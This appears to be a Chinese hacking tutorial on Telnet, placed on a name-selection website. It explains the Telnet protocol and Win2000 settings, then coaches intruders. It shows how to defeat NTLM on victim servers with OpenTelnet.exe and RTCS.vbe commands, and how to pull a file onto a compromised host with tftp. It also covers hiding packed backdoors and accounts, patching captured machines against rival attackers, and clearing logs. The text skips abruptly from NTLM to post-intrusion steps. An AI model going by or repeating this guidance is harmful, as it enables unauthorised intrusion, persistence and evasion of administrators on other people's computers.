易經(jīng)起名 |
Telnet的應(yīng)用不僅方便了我們進(jìn)行遠(yuǎn)程登錄,也給hacker們提供了又一種入侵手段和后門(mén),但無(wú)論如何,在你盡情享受Telnet所帶給你的便捷的同時(shí),你是否真正的了解Telnet呢? 二遠(yuǎn)程登錄 Telnet服務(wù)雖然也屬于客戶機(jī)/服務(wù)器模型的服務(wù),但它更大的意義在于實(shí)現(xiàn)了基于Telnet協(xié)議的遠(yuǎn)程登錄(遠(yuǎn)程交互式計(jì)算),那么就讓我們來(lái)認(rèn)識(shí)一下遠(yuǎn)程登錄. 1遠(yuǎn)程登陸的基本概念 先來(lái)看看什么叫登錄:分時(shí)系統(tǒng)允許多個(gè)用戶同時(shí)使用一臺(tái)計(jì)算機(jī),為了保證系統(tǒng)的安全和記帳方便,系統(tǒng)要求每個(gè)用戶有單獨(dú)的帳號(hào)作為登錄標(biāo)識(shí),系統(tǒng)還為每個(gè)用戶指定了一個(gè)口令.用戶在使用該系統(tǒng)之前要輸入標(biāo)識(shí)和口令,這個(gè)過(guò)程被稱為'登錄'.遠(yuǎn)程登陸是指用戶使用Telnet命令,使自己的計(jì)算機(jī)暫時(shí)成為遠(yuǎn)程主機(jī)的一個(gè)仿真終端的過(guò)程.仿真終端等效于一個(gè)非智能的機(jī)器,它只負(fù)責(zé)把用戶輸入的每個(gè)字符傳遞給主機(jī),再將主機(jī)輸出的每個(gè)信息回顯在屏幕上. 2遠(yuǎn)程登陸的產(chǎn)生及發(fā)展 我們可以先構(gòu)想一個(gè)提供遠(yuǎn)程文字編輯的服務(wù),這個(gè)服務(wù)的實(shí)現(xiàn)需要一個(gè)接受編輯文件請(qǐng)求和數(shù)據(jù)的服務(wù)器以及一個(gè)發(fā)送此請(qǐng)求的客戶機(jī).客戶機(jī)將建立一個(gè)從本地機(jī)到服務(wù)器的TCP連接,當(dāng)然這需要服務(wù)器的應(yīng)答,然后向服務(wù)器發(fā)送鍵入的信息(文件編輯信息),并讀取從服務(wù)器返回的輸出.以上便是一個(gè)標(biāo)準(zhǔn)而普通的客戶機(jī)/服務(wù)器模型的服務(wù).似乎有了客戶機(jī)/服務(wù)器模型的服務(wù),一切遠(yuǎn)程問(wèn)題都可以解決了.然而實(shí)際并非你想象的那樣簡(jiǎn)單,如果我們僅需要遠(yuǎn)程編輯文件,那么剛才所構(gòu)想的服務(wù)完全可以勝任,但假如我們的要求并不是這么簡(jiǎn)單,我們還想實(shí)現(xiàn)遠(yuǎn)程用戶管理,遠(yuǎn)程數(shù)據(jù)錄入,遠(yuǎn)程系統(tǒng)維護(hù),想實(shí)現(xiàn)一切可以在遠(yuǎn)程主機(jī)上實(shí)現(xiàn)的操作,那么我們將需要大量專用的服務(wù)器程序并為每一個(gè)可計(jì)算服務(wù)都使用一個(gè)服務(wù)器進(jìn)程,隨之而來(lái)的問(wèn)題是:遠(yuǎn)程機(jī)器會(huì)很快對(duì)服務(wù)器進(jìn)程應(yīng)接不暇,并淹沒(méi)在進(jìn)程的海洋里(我們?cè)谶@里排除最專業(yè)化的遠(yuǎn)程機(jī)器).那么有沒(méi)有辦法解決呢?當(dāng)然有,我們可以用遠(yuǎn)程登錄來(lái)解決這一切.我們?cè)试S用戶在遠(yuǎn)地機(jī)器上建立一個(gè)登錄會(huì)話,然后通過(guò)執(zhí)行命令來(lái)實(shí)現(xiàn)更一般的服務(wù),就像在本地操作一樣.這樣,我們便可以訪問(wèn)遠(yuǎn)地系統(tǒng)上所有可用的命令,并且系統(tǒng)設(shè)計(jì)員不需提供多個(gè)專用地服務(wù)器程序.問(wèn)題發(fā)展到這里好像前途一片光明了,用遠(yuǎn)程登錄總應(yīng)該解決問(wèn)題了吧,但要實(shí)現(xiàn)遠(yuǎn)程登陸并不簡(jiǎn)單.不考慮網(wǎng)絡(luò)設(shè)計(jì)的計(jì)算機(jī)系統(tǒng)期望用戶只從直接相連的鍵盤(pán)和顯示器上登錄,在這種機(jī)器上增加遠(yuǎn)程登陸功能需要修改機(jī)器的操作系統(tǒng),這是極其艱巨也是我們盡量避免的.因此我們應(yīng)該集中力量構(gòu)造遠(yuǎn)程登陸服務(wù)器軟件,雖然這樣也是比較困難的.為什么說(shuō)這樣做也比較困難呢?舉個(gè)例子來(lái)說(shuō):一般,操作系統(tǒng)會(huì)為一些特殊按鍵分配特殊的含義,比如本地系統(tǒng)將'Ctrl+C'解釋為:'終止當(dāng)前運(yùn)行的命令進(jìn)程'.但假設(shè)我們已經(jīng)運(yùn)行了遠(yuǎn)程登陸服務(wù)器軟件,'Ctrl+C'也有可能無(wú)法被傳送到遠(yuǎn)地機(jī)器,如果客戶機(jī)真的將'Ctrl+C'傳到了遠(yuǎn)地機(jī)器,那么'Ctrl+C'這個(gè)命令有可能不能終止本地的進(jìn)程,也就是說(shuō)在這里很可能會(huì)產(chǎn)生混亂.而且這僅僅是遇到的難題之一.但盡管有技術(shù)上的困難,系統(tǒng)編程人員還是設(shè)法構(gòu)造了能夠應(yīng)用于大多數(shù)操作系統(tǒng)的遠(yuǎn)程登陸服務(wù)器軟件,并構(gòu)造了充當(dāng)客戶機(jī)的應(yīng)用軟件.通常,客戶機(jī)軟件取消了除一個(gè)鍵以外的所有鍵的本地解釋,并將這些本地解釋相應(yīng)的轉(zhuǎn)換成遠(yuǎn)地解釋,這就使得客戶機(jī)軟件與遠(yuǎn)地機(jī)器的交互,就如同坐在遠(yuǎn)程主機(jī)面前一樣,從而避免了上述所提到的混亂.而那個(gè)唯一例外的鍵,可以使用戶回到本地環(huán)境.將遠(yuǎn)程登陸服務(wù)器設(shè)計(jì)為應(yīng)用級(jí)軟件,還有另一個(gè)要求,那就是需要操作系統(tǒng)提供對(duì)偽終端(pseudoterminal)的支持.我們用偽終端描述操作系統(tǒng)的入口點(diǎn),它允許像Telnet服務(wù)器一樣的程序向操作系統(tǒng)傳送字符,并且使得字符像是來(lái)自本地鍵盤(pán)一樣.只有使用這樣的操作系統(tǒng),才能將遠(yuǎn)程登陸服務(wù)器設(shè)計(jì)為應(yīng)用級(jí)軟件(比如Telnet服務(wù)器軟件),否則,本地操作系統(tǒng)和遠(yuǎn)地系統(tǒng)傳送將不能識(shí)別從對(duì)方傳送過(guò)來(lái)的信息(因?yàn)樗鼈儍H能識(shí)別從本地鍵盤(pán)所鍵入的信息),遠(yuǎn)程登陸將宣告失敗.將遠(yuǎn)程登陸服務(wù)器設(shè)計(jì)為應(yīng)用級(jí)軟件雖然有其顯著的優(yōu)點(diǎn):比將代碼嵌入操作系統(tǒng)更易修改和控制服務(wù)器.但其也有效率不高的缺點(diǎn)(后面的內(nèi)容將會(huì)給予解釋),好在用戶鍵入信息的速率不高,這種設(shè)計(jì)還是可以接受的. 3遠(yuǎn)程登錄的工作過(guò)程 使用Telnet協(xié)議進(jìn)行遠(yuǎn)程登陸時(shí)需要滿足以下條件:在本的計(jì)算機(jī)上必須裝有包含Telnet協(xié)議的客戶程序:必須知道遠(yuǎn)程主機(jī)的Ip地址或域名:必須知道登錄標(biāo)識(shí)與口令. Telnet遠(yuǎn)程登錄服務(wù)分為以下4個(gè)過(guò)程: 1)本地與遠(yuǎn)程主機(jī)建立連接.該過(guò)程實(shí)際上是建立一個(gè)TCP連接,用戶必須知道遠(yuǎn)程主機(jī)的Ip地址或域名: 2)將本地終端上輸入的用戶名和口令及以后輸入的任何命令或字符以NVT(NetVirtualTerminal)格式傳送到遠(yuǎn)程主機(jī).該過(guò)程實(shí)際上是從本地主機(jī)向遠(yuǎn)程主機(jī)發(fā)送一個(gè)IP數(shù)據(jù)報(bào) 3)將遠(yuǎn)程主機(jī)輸出的NVT格式的數(shù)據(jù)轉(zhuǎn)化為本地所接受的格式送回本地終端,包括輸入命令回顯和命令執(zhí)行結(jié)果 4)最后,本地終端對(duì)遠(yuǎn)程主機(jī)進(jìn)行撤消連接.該過(guò)程是撤銷(xiāo)一個(gè)TCP連接 上面的內(nèi)容只是討論了遠(yuǎn)程登陸最基本的東西,其中的復(fù)雜和編程人員的艱辛是我們難以想象的,不知道你在舒服的使用Telnet的同時(shí),是否想到了這些! 三Telnet協(xié)議 我們知道Telnet服務(wù)器軟件是我們最常用的遠(yuǎn)程登錄服務(wù)器軟件,是一種典型的客戶機(jī)/服務(wù)器模型的服務(wù),它應(yīng)用Telnet協(xié)議來(lái)工作.那么,什么是Telnet協(xié)議?它都具備哪些特點(diǎn)呢? 1基本內(nèi)容 Telnet協(xié)議是TCP/IP協(xié)議族中的一員,是Internet遠(yuǎn)程登陸服務(wù)的標(biāo)準(zhǔn)協(xié)議.應(yīng)用Telnet協(xié)議能夠把本地用戶所使用的計(jì)算機(jī)變成遠(yuǎn)程主機(jī)系統(tǒng)的一個(gè)終端.它提供了三種基本服務(wù): 1)Telnet定義一個(gè)網(wǎng)絡(luò)虛擬終端為遠(yuǎn)的系統(tǒng)提供一個(gè)標(biāo)準(zhǔn)接口.客戶機(jī)程序不必詳細(xì)了解遠(yuǎn)的系統(tǒng),他們只需構(gòu)造使用標(biāo)準(zhǔn)接口的程序 2)Telnet包括一個(gè)允許客戶機(jī)和服務(wù)器協(xié)商選項(xiàng)的機(jī)制,而且它還提供一組標(biāo)準(zhǔn)選項(xiàng) 3)Telnet對(duì)稱處理連接的兩端,即Telnet不強(qiáng)迫客戶機(jī)從鍵盤(pán)輸入,也不強(qiáng)迫客戶機(jī)在屏幕上顯示輸出. 2適應(yīng)異構(gòu) 為了使多個(gè)操作系統(tǒng)間的Telnet交互操作成為可能,就必須詳細(xì)了解異構(gòu)計(jì)算機(jī)和操作系統(tǒng).比如,一些操作系統(tǒng)需要每行文本用ASCII回車(chē)控制符(CR)結(jié)束,另一些系統(tǒng)則需要使用ASCII換行符(LF),還有一些系統(tǒng)需要用兩個(gè)字符的序列回車(chē)-換行(CR-LF):再比如,大多數(shù)操作系統(tǒng)為用戶提供了一個(gè)中斷程序運(yùn)行的快捷鍵,但這個(gè)快捷鍵在各個(gè)系統(tǒng)中有可能不同(一些系統(tǒng)使用CTRL+C,而另一些系統(tǒng)使用ESCAPE).如果不考慮系統(tǒng)間的異構(gòu)性,那么在本地發(fā)出的字符或命令,傳送到遠(yuǎn)地并被遠(yuǎn)地系統(tǒng)解釋后很可能會(huì)不準(zhǔn)確或者出現(xiàn)錯(cuò)誤.因此,Telnet協(xié)議必須解決這個(gè)問(wèn)題.為了適應(yīng)異構(gòu)環(huán)境,Telnet協(xié)議定義了數(shù)據(jù)和命令在Internet上的傳輸方式,此定義被稱作網(wǎng)絡(luò)虛擬終端NVT(NetVirtualTerminal).它的應(yīng)用過(guò)程如下: 對(duì)于發(fā)送的數(shù)據(jù):客戶機(jī)軟件把來(lái)自用戶終端的按鍵和命令序列轉(zhuǎn)換為NVT格式,并發(fā)送到服務(wù)器,服務(wù)器軟件將收到的數(shù)據(jù)和命令,從NVT格式轉(zhuǎn)換為遠(yuǎn)地系統(tǒng)需要的格式:對(duì)于返回的數(shù)據(jù):遠(yuǎn)地服務(wù)器將數(shù)據(jù)從遠(yuǎn)地機(jī)器的格式轉(zhuǎn)換為NVT格式,而本地客戶機(jī)將將接收到的NVT格式數(shù)據(jù)再轉(zhuǎn)換為本地的格式.對(duì)于NVT格式的詳細(xì)定義,有興趣的朋友可以去查找相關(guān)資料. 3傳送遠(yuǎn)地命令 我們知道絕大多數(shù)操作系統(tǒng)都提供各種快捷鍵來(lái)實(shí)現(xiàn)相應(yīng)的控制命令,當(dāng)用戶在本地終端鍵入這些快捷鍵的時(shí)候,本地系統(tǒng)將執(zhí)行相應(yīng)的控制命令,而不把這些快捷鍵作為輸入.那么對(duì)于Telnet來(lái)說(shuō),它是用什么來(lái)實(shí)現(xiàn)控制命令的遠(yuǎn)地傳送呢?Telnet同樣使用NVT來(lái)定義如何從客戶機(jī)將控制功能傳送到服務(wù)器.我們知道USASCII字符集包括95個(gè)可打印字符和33個(gè)控制碼.當(dāng)用戶從本地鍵入普通字符時(shí),NVT將按照其原始含義傳送:當(dāng)用戶鍵入快捷鍵(組合鍵)時(shí),NVT將把它轉(zhuǎn)化為特殊的ASCII字符在網(wǎng)絡(luò)上傳送,并在其到達(dá)遠(yuǎn)地機(jī)器后轉(zhuǎn)化為相應(yīng)的控制命令.將正常ASCII字符集與控制命令區(qū)分主要有兩個(gè)原因: 1)這種區(qū)分意味著Telnet具有更大的靈活性:它可在客戶機(jī)與服務(wù)器間傳送所有可能的ASCII字符以及所有控制功能: 2)這種區(qū)分使得客戶機(jī)可以無(wú)二義性的指定信令,而不會(huì)產(chǎn)生控制功能與普通字符的混亂. 4數(shù)據(jù)流向 上面我們提到過(guò)將Telnet設(shè)計(jì)為應(yīng)用級(jí)軟件有一個(gè)缺點(diǎn),那就是:效率不高.這是為什么呢?下面給出Telnet中的數(shù)據(jù)流向,數(shù)據(jù)信息被用戶從本地鍵盤(pán)鍵入并通過(guò)操作系統(tǒng)傳到客戶機(jī)程序,客戶機(jī)程序?qū)⑵涮幚砗蠓祷夭僮飨到y(tǒng),并由操作系統(tǒng)經(jīng)過(guò)網(wǎng)絡(luò)傳送到遠(yuǎn)地機(jī)器,遠(yuǎn)地操作系統(tǒng)將所接收數(shù)據(jù)傳給服務(wù)器程序,并經(jīng)服務(wù)器程序再次處理后返回到操作系統(tǒng)上的偽終端入口點(diǎn),最后,遠(yuǎn)地操作系統(tǒng)將數(shù)據(jù)傳送到用戶正在運(yùn)行的應(yīng)用程序,這便是一次完整的輸入過(guò)程:輸出將按照同一通路從服務(wù)器傳送到客戶機(jī).因?yàn)槊恳淮蔚妮斎牒洼敵?計(jì)算機(jī)將切換進(jìn)程環(huán)境好幾次,這個(gè)開(kāi)銷(xiāo)是很昂貴的.還好用戶的鍵入速率并不算高,這個(gè)缺點(diǎn)我們?nèi)匀荒軌蚪邮? 5強(qiáng)制命令 我們應(yīng)該考慮到這樣一種情況:假設(shè)本地用戶運(yùn)行了遠(yuǎn)地機(jī)器的一個(gè)無(wú)休止循環(huán)的錯(cuò)誤命令或程序,且此命令或程序已經(jīng)停止讀取輸入,那么操作系統(tǒng)的緩沖區(qū)可能因此而被占滿,如果這樣,遠(yuǎn)地服務(wù)器也無(wú)法再將數(shù)據(jù)寫(xiě)入偽終端,并且最終導(dǎo)致停止從TCP連接讀取數(shù)據(jù),TCP連接的緩沖區(qū)最終也會(huì)被占滿,從而導(dǎo)致阻止數(shù)據(jù)流流入此連接.如果以上事情真的發(fā)生了,那么本地用戶將失去對(duì)遠(yuǎn)地機(jī)器的控制.為了解決此問(wèn)題,Telnet協(xié)議必須使用外帶信令以便強(qiáng)制服務(wù)器讀取一個(gè)控制命令.我們知道TCP用緊急數(shù)據(jù)機(jī)制實(shí)現(xiàn)外帶數(shù)據(jù)信令,那么Telnet只要再附加一個(gè)被稱為數(shù)據(jù)標(biāo)記(datemark)的保留八位組,并通過(guò)讓TCP發(fā)送已設(shè)置緊急數(shù)據(jù)比特的報(bào)文段通知服務(wù)器便可以了,攜帶緊急數(shù)據(jù)的報(bào)文段將繞過(guò)流量控制直接到達(dá)服務(wù)器.作為對(duì)緊急信令的相應(yīng),服務(wù)器將讀取并拋棄所有數(shù)據(jù),直到找到了一個(gè)數(shù)據(jù)標(biāo)記.服務(wù)器在遇到了數(shù)據(jù)標(biāo)記后將返回正常的處理過(guò)程. 6選項(xiàng)協(xié)商 由于Telnet兩端的機(jī)器和操作系統(tǒng)的異構(gòu)性,使得Telnet不可能也不應(yīng)該嚴(yán)格規(guī)定每一個(gè)telnet連接的詳細(xì)配置,否則將大大影響Telnet的適應(yīng)異構(gòu)性.因此,Telnet采用選項(xiàng)協(xié)商機(jī)制來(lái)解決這一問(wèn)題.Telnet選項(xiàng)的范圍很廣:一些選項(xiàng)擴(kuò)充了大方向的功能,而一些選項(xiàng)制涉及一些微小細(xì)節(jié).例如:有一個(gè)選項(xiàng)可以控制Telnet是在半雙工還是全雙工模式下工作(大方向):還有一個(gè)選項(xiàng)允許遠(yuǎn)地機(jī)器上的服務(wù)器決定用戶終端類(lèi)型(小細(xì)節(jié)).Telnet選項(xiàng)的協(xié)商方式也很有意思,它對(duì)于每個(gè)選項(xiàng)的處理都是對(duì)稱的,即任何一端都可以發(fā)出協(xié)商申請(qǐng):任何一端都可以接受或拒絕這個(gè)申請(qǐng).另外,如果一端試圖協(xié)商另一端不了解的選項(xiàng),接受請(qǐng)求的一端可簡(jiǎn)單的拒絕協(xié)商.因此,有可能將更新,更復(fù)雜的Telnet客戶機(jī)服務(wù)器版本與較老的,不太復(fù)雜的版本進(jìn)行交互操作.如果客戶機(jī)和服務(wù)器都理解新的選項(xiàng),可能會(huì)對(duì)交互有所改善.否則,它們將一起轉(zhuǎn)到效率較低但可工作的方式下運(yùn)行.所有的這些設(shè)計(jì),都是為了增強(qiáng)適應(yīng)異構(gòu)性,可見(jiàn)Telnet的適應(yīng)異構(gòu)性對(duì)其的應(yīng)用和發(fā)展是多么重要. 上面討論了一些原理方面的東西,雖然我們?cè)赥elnet的使用過(guò)程中很難接觸到這一層面,但我認(rèn)為了解這些是有意義的,它會(huì)給我們帶來(lái)許多啟示.下面讓我們來(lái)看看Win2000的Telnet服務(wù). 四Win2000的Telnet服務(wù) 其實(shí)從應(yīng)用層面上,Win2000的Telnet服務(wù)并沒(méi)有什么可說(shuō)的,絕大部分內(nèi)容你都可以從HELP文件中得到,我在此只是把它稍微整理一下而已. 1基本配置 Win2000為我們提供了Telnet客戶機(jī)和服務(wù)器程序:Telnet.exe是客戶機(jī)程序(Client),tlntsvr.exe是服務(wù)器程序(server),同時(shí)它還為我們提供了Telnet服務(wù)器管理程序tlntadmn.exe.Windows2000默認(rèn)安裝了Telnet服務(wù),但是并沒(méi)有默認(rèn)啟動(dòng). 下面給出HELP文件中Telnet服務(wù)的一部分默認(rèn)設(shè)置 AllowTrustedDomain:是否允許域用戶訪問(wèn).默認(rèn)值是1,允許信任域用戶訪問(wèn).可以改為0:不允許域用戶訪問(wèn)(只允許本地用戶). DefaultDomain:可以對(duì)與該計(jì)算機(jī)具有信任關(guān)系的任何域設(shè)置.默認(rèn)值是".". DefaultShell:顯示shell安裝的路徑位置.默認(rèn)值是:%systemroot%\System32\Cmd.exe/q/k MaxFailedLogins:在連接終止之前顯示嘗試登錄失敗的最大次數(shù).默認(rèn)是3. LoginScript:顯示Telnet服務(wù)器登錄腳本的路徑位置.默認(rèn)的位置就是“%systemroot%\System32\login.cmd”,你可以更改腳本內(nèi)容,這樣登錄進(jìn)Telnet的歡迎屏幕就不一樣了. NTLM:NTLM身份驗(yàn)證選項(xiàng).默認(rèn)是2.可以有下面這些值 0:不使用NTLM身份驗(yàn)證. 1:先嘗試NTLM身份驗(yàn)證,如果失敗,再使用用戶名和密碼. 2:只使用NTLM身份驗(yàn)證. TelnetPort:顯示telnet服務(wù)器偵聽(tīng)telnet請(qǐng)求的端口.默認(rèn)是:23.你也可以更改為其他端口. 以上各項(xiàng)設(shè)置你可以使用tlntadmn.exe(Telnet服務(wù)器管理程序)來(lái)進(jìn)行非常方便的配置,配置后需要重新啟動(dòng)Telnet服務(wù).【 2NTLM 提到了telnet就不能不提NTLM,我想這也是讓入侵者最為頭痛的一件事,哪怕你獲得了管理員帳號(hào)和密碼,想簡(jiǎn)單通過(guò)NTLM也并非易事,況且win2000中的telnet默認(rèn)僅以NTLM方式驗(yàn)證身份,這就讓我們不得不關(guān)注NTLM這個(gè)東東,那么什么是NTLM呢?【 早期的SMB協(xié)議在網(wǎng)絡(luò)上明文傳輸口令,后來(lái)出現(xiàn)了"LANManagerChallenge/Response"驗(yàn)證機(jī)制,簡(jiǎn)稱LM,它十分簡(jiǎn)單以至很容易被破解,微軟隨后提出了Windows NT挑戰(zhàn)/響應(yīng)驗(yàn)證機(jī)制,即NTLM.現(xiàn)在已經(jīng)有了更新的NTLMv2以及Kerberos驗(yàn)證體系.NTLM工作流程是這樣的:【 1,客戶端首先在本地加密當(dāng)前用戶的密碼成為密碼散列 2,客戶端向服務(wù)器發(fā)送自己的帳號(hào),這個(gè)帳號(hào)是沒(méi)有經(jīng)過(guò)加密的,明文直接傳輸 3,服務(wù)器產(chǎn)生一個(gè)16位的隨機(jī)數(shù)字發(fā)送給客戶端,作為一個(gè)challenge(挑戰(zhàn)) 4,客戶端再用加密后的密碼散列來(lái)加密這個(gè)challenge,然后把這個(gè)返回給服務(wù)器.作為response(響應(yīng)) 5,服務(wù)器把用戶名,給客戶端的challenge,客戶端返回的response這三個(gè)東西,發(fā)送域控制器 6,域控制器用這個(gè)用戶名在SAM密碼管理庫(kù)中找到這個(gè)用戶的密碼散列,然后使用這個(gè)密碼散列來(lái)加密challenge. 7,域控制器比較兩次加密的challenge,如果一樣,那么認(rèn)證成功.【 從上面的過(guò)程我們可以看出,NTLM是以當(dāng)前用戶的身份向Telnet服務(wù)器發(fā)送登錄請(qǐng)求的,而不是用你掃到的對(duì)方管理員的帳戶和密碼登錄,顯然,你的登錄將會(huì)失敗.舉個(gè)例子來(lái)說(shuō),你家的機(jī)器名為A(本地機(jī)器),你入侵的機(jī)器名為B(遠(yuǎn)地機(jī)器),你在A上的帳戶是xinxin,密碼是1234,你掃到B的管理員帳號(hào)是Administrator,密碼是5678,當(dāng)你想Telnet到B時(shí),NTLM將自動(dòng)以當(dāng)前用戶的帳號(hào)和密碼作為登錄的憑據(jù)來(lái)進(jìn)行上面的7項(xiàng)操作,即用xinxin和1234,而并非用你掃到的Administrator和5678,且這些都是自動(dòng)完成的,根本不給你插手的機(jī)會(huì),因此你的登錄操作將失敗.【 由于Telnet服務(wù)器對(duì)NTLM的使用有3個(gè)選項(xiàng),所以當(dāng)你Telnet遠(yuǎn)地機(jī)器時(shí),會(huì)顯示下面情況中的一種:【 1)身份驗(yàn)證選項(xiàng)=0時(shí) ===================================== Microsoft?Windows?Version5.00(Build2195) WelcometoMicrosoftTelnetService TelnetServerBuild5.00.99201.1 login: password:【 \\為0時(shí)不使用NTML身份驗(yàn)證,直接輸入用戶名和密碼,比如你可以輸入掃到的Administrator和5678【 2)身份驗(yàn)證選項(xiàng)=1時(shí) ===================================== NTLMAuthenticationfailedduetoinsufficientcredentials.Pleaseloginwithcleartextusernameandpassword Microsoft?Windows?Version5.00(Build2195) WelcometoMicrosoftTelnetService TelnetServerBuild5.00.99201.1 login: password:【 \\先嘗試NTLM身份驗(yàn)證,如果失敗,再使用用戶名和密碼,其實(shí)這種方式對(duì)于我們來(lái)說(shuō),與上一種方式?jīng)]什么區(qū)別【 3)身份驗(yàn)證選項(xiàng)=2時(shí) ===================================== NTLMAuthenticationfailedduetoinsufficientcredentials.Pleaseloginwithcleartextusernameandpassword ServerallowsNTLMauthenticationonly Serverhasclosedconnection 遺失對(duì)主機(jī)的連接. C:\>【 \\仔細(xì)看看上面的顯示,根本沒(méi)有給你輸入用戶名和密碼的機(jī)會(huì),直接斷開(kāi)連接,掃到了密碼也是白掃【 所以對(duì)于入侵者來(lái)說(shuō),NTLM是橫在我們面前的一座大山,必須要除掉它,一般我們有如下幾種方法:【 1通過(guò)修改遠(yuǎn)程注冊(cè)表更改telnet服務(wù)器配置,將驗(yàn)證方式從2改為1或0: 2使用NTLM.exe,上傳后直接運(yùn)行,可將telnet服務(wù)器驗(yàn)證方式從2改為1: 3在本地建立掃描到的用戶,以此用戶身份開(kāi)啟telnet客戶機(jī)并進(jìn)行遠(yuǎn)程登錄: 4使用軟件,比如opentelnet.exe(需要管理員權(quán)限且開(kāi)啟IPC管道) 5使用腳本,如RTCS,(需要管理員權(quán)限但不依賴IPC管道)【 基本上是以上的5種,其中后兩種是我們比較常用的開(kāi)telnet的手法,而且使用方法十分簡(jiǎn)單,命令如下:【 OpenTelnet.exe\\serverusernamepasswordNTLMAuthortelnetport OpenTelnet.exe\\服務(wù)器地址管理員用戶名密碼驗(yàn)證方式(填0或1)telnet端口 cscriptRTCS.vbetargetIPusernamepasswordNTLMAuthortelnetport cscriptRTCS.vbe<目標(biāo)IP><管理員用戶名><密碼><驗(yàn)證方式> 呵呵,其實(shí)就是隨處看看,看看他的系統(tǒng)配置和版本(用typec:\boot.ini來(lái)知道pro版或server版),看看都裝了什么服務(wù)或軟件(從目錄名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是國(guó)外的機(jī)器,看也看不懂),看看他的用戶情況,總之就是盡可能多的了解系統(tǒng),為一會(huì)裝后門(mén)摸底.【 2使用tftp傳送文件【 想必大家都遇到過(guò)在telnet中傳輸文件的問(wèn)題,因?yàn)槲覀兞?xí)慣了在ipc管道中的文件傳輸,所以有些朋友喜歡用netshareipc$來(lái)打開(kāi)管道,進(jìn)而利用copy來(lái)傳輸文件.不過(guò)這樣反而麻煩,既然我們已經(jīng)得到了shell,我們可以用TFPT命令來(lái)完成這一切【 什么是TFTP呢?【 用TFTP(TrivialFileTransferProtocol)來(lái)實(shí)現(xiàn)文件的傳送是一種基于UDP連接的文件傳輸,一般是使用Windows自帶的tftp.exe和一個(gè)TFTP服務(wù)器端軟件構(gòu)成一個(gè)完整的傳輸結(jié)構(gòu).它是這樣使用的:首先運(yùn)行本地的TFTPServer(比如tftpd32.exe)軟件并保證始終開(kāi)啟直至傳輸全部完成,然后在telnet中(當(dāng)然你也可以在其他shell中)運(yùn)行下面的命令:【 C:\>tftp–iipgetxinxin.exec:\abc\xinxin.exe【 其中ip為你自己機(jī)器的ip,且上傳文件要與TFTP服務(wù)器端在同一目錄下,這樣你就可以把xinxin.exe上傳到c盤(pán)abc目錄下了(其實(shí)是從tftp服務(wù)器下載來(lái)的)需要指出的是,如果使用代理IP,你將不能實(shí)現(xiàn)與外部網(wǎng)絡(luò)的文件傳送.因?yàn)槟愕拇砭W(wǎng)關(guān)在進(jìn)行數(shù)據(jù)封裝的時(shí)候會(huì)將自己的IP地址加入到你的數(shù)據(jù)報(bào)中,代替你的內(nèi)部網(wǎng)絡(luò)地址,所以在外部網(wǎng)絡(luò)進(jìn)行MAC尋址時(shí)是找不到你這臺(tái)TFTP服務(wù)器的.【 3安置后門(mén) 安置后門(mén)放在第二步好像早了點(diǎn),如果你入侵還有其他目的,比如以破壞為主,或者是來(lái)修改主頁(yè)的,那么這些事情當(dāng)然可以在安置后門(mén)之前做:如果你只是想得到一只肉雞,那就沒(méi)什么可說(shuō)的了,安后門(mén)吧.后門(mén)的種類(lèi)繁多,也給我們提供了很大的選擇余地,能夠根據(jù)具體情況選擇合適的后門(mén)的確是一門(mén)學(xué)問(wèn).常用的后門(mén)一般有:木馬,asp木馬,遠(yuǎn)程控制軟件,克隆帳戶,建立并隱藏帳戶,telnet,telnet擴(kuò)展的shell,終端服務(wù)等.安置一個(gè)好的后門(mén)通常要注意以下幾點(diǎn):【 1不會(huì)被防火墻查殺及阻礙通信:被加入病毒庫(kù)的后門(mén)最好加殼以逃過(guò)防火墻,盡量用低端口通信,以免被防火墻屏蔽.【 2最大限度增加隱蔽性:如果你選擇遠(yuǎn)程控制軟件,要注意被控端的安裝提示和小圖標(biāo),以及是否同步畫(huà)面:如果你在帳戶上做文章,要盡量保持在cmd和用戶管理中都不出破綻:如果你選擇放木馬或telnet擴(kuò)展,要注意文件和進(jìn)程的隱藏:如果新開(kāi)了終端服務(wù)(入侵前并沒(méi)有開(kāi)),一定要該掉3389這個(gè)顯眼的端口,且越低越好.【 3不要當(dāng)管理員不存在:這是一個(gè)大忌,許多朋友在只有默認(rèn)帳戶的機(jī)器上建立類(lèi)似'hacking'的管理員帳戶,真是無(wú)知者無(wú)畏呀.所以安置后門(mén)的時(shí)候,想想管理員疏忽的地方會(huì)在哪里.【 4打補(bǔ)丁【 如果想獨(dú)霸肉雞,就要會(huì)打補(bǔ)丁,要知道對(duì)肉雞的競(jìng)爭(zhēng)是很激烈的.怎么打補(bǔ)丁呢?這個(gè)也要問(wèn)?想想你是怎么進(jìn)來(lái)的吧.算了,提示一下,除了修補(bǔ)大的漏洞以外(上傳官方補(bǔ)丁并運(yùn)行),也要注意它的共享,ipc$共享(最好都關(guān)閉),可疑端口,容易被利用的服務(wù)等.不過(guò)打補(bǔ)丁也要注意隱蔽性的,不要讓管理員發(fā)現(xiàn)大的改動(dòng).【 5清除日志 可以手動(dòng)或利用軟件,如果不太會(huì)就去找相關(guān)教材吧,在這里我不詳細(xì)介紹了. |
01劃的字 02劃的字 03劃的字 04劃的字 05劃的字 06劃的字 07劃的字 08劃的字 09劃的字 10劃的字 11劃的字 12劃的字 13劃的字 14劃的字 15劃的字 |
16劃的字 17劃的字 18劃的字 19劃的字 20劃的字 21劃的字 22劃的字 23劃的字 24劃的字 25劃的字 26劃的字 27劃的字 28劃的字 29劃的字 30劃的字 |
|
瓷都起名算命網(wǎng):http://jin740.com 閩ICP備05010233號(hào) 聯(lián)系人:賴?yán)蠋? 手機(jī):13599118052 QQ:2059407 電話:0595-22655052 |